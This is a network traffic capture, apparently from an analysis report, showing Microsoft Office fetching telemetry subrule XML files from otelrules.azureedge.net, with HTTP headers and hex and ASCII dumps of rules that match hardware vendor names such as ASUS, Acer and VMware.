2024-11-23 14:22:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:05 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de6003cd-b01e-0098-493c-3ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142205Z-178bfbc474bbbqrhhC1NYCvw7400000004qg00000000cv4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:05 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:07 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142207Z-178bfbc474bwh9gmhC1NYCy3rs00000004m000000000eun9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:07 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142207Z-15b8b599d886w4hzhC1TEBb4ug000000034g000000006prf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:07 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142207Z-174c587ffdfx984chC1TEB676g00000002z000000000g5v0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:07 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142207Z-15b8b599d889fz52hC1TEB59as0000000320000000006bgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:07 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142207Z-15b8b599d885v8r9hC1TEB104g000000033g000000008pff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:09 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142209Z-174c587ffdfl22mzhC1TEBk40c000000035000000000edwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:09 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142209Z-174c587ffdfb485jhC1TEBmc1s00000002ug00000000emd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:09 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142209Z-174c587ffdfcj798hC1TEB9bq4000000038g000000004wag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:09 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142209Z-178bfbc474b7cbwqhC1NYC8z4n00000004bg00000000k76f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:09 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142209Z-178bfbc474bbbqrhhC1NYCvw7400000004rg00000000a27e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:10 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:11 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
